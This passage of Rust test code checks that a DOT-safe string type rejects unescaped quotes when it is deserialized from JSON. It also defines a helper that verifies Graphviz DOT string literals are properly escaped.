1826            properties: HashMap<String, DotSafe>,
1827        }
1828
1829        let mut properties = HashMap::new();
1830        properties.insert("vendor".to_string(), DotSafe::try_from("Google").unwrap());
1831        properties
1832            .insert("protocol".to_string(), DotSafe::try_from("fuchsia.hardware.pci").unwrap());
1833
1834        let metadata = NodeMetadata {
1835            id: 101,
1836            name: DotSafe::try_from("root_pci_bus").unwrap(),
1837            optional_alias: Some(DotSafe::try_from("pci-root").unwrap()),
1838            tags: vec![
1839                DotSafe::try_from("bus").unwrap(),
1840                DotSafe::try_from("hardware").unwrap(),
1841                DotSafe::try_from("core").unwrap(),
1842            ],
1843            properties,
1844        };
1845
1846        let json_meta = serde_json::to_string(&metadata).unwrap();
1847        let deserialized_meta: NodeMetadata = serde_json::from_str(&json_meta).unwrap();
1848        assert_eq!(deserialized_meta, metadata);
1849
1850        // Injecting an invalid string inside nested JSON struct fails deserialization
1851        let bad_nested_json = json_meta.replace("root_pci_bus", "root_\"_pci_bus");
1852        assert!(serde_json::from_str::<NodeMetadata>(&bad_nested_json).is_err());
1853    }
1854
1855    /// Verifies that `dot_literal` is a single, valid, properly escaped Graphviz DOT double-quoted
1856    /// string literal that does not terminate early or escape its closing delimiter.
1857    fn verify_dot_quoted_literal(dot_literal: &str) -> bool {
1858        if !dot_literal.starts_with('"') || !dot_literal.ends_with('"') || dot_literal.len() < 2 {
1859            return false;
1860        }
1861
1862        let inner = &dot_literal[1..dot_literal.len() - 1];
1863        let mut escaped = false;
1864        let mut chars = inner.chars();
1865
1866        while let Some(c) = chars.next() {
1867            if escaped {
1868                // In DOT string literals after DotSafe escaping, valid escape sequences are:
1869                // \\ (escaped backslash), \" (escaped quote), \n (escaped newline)
1870                if c != '\\' && c != '"' && c != 'n' {
1871                    return false;
1872                }
1873                escaped = false;
1874            } else if c == '\\' {
1875                escaped = true;
1876            } else if c == '"' {
1877                // An unescaped quote inside inner means the string literal terminated early!
1878                return false;
1879            } else if is_control_character(c) {
1880                // Raw control characters are forbidden inside DOT string literals
1881                return false;
1882            }
1883        }
1884
1885        // If escaped is true at the end of inner, the trailing backslash escapes the closing quote!
1886        !escaped
1887    }
1888}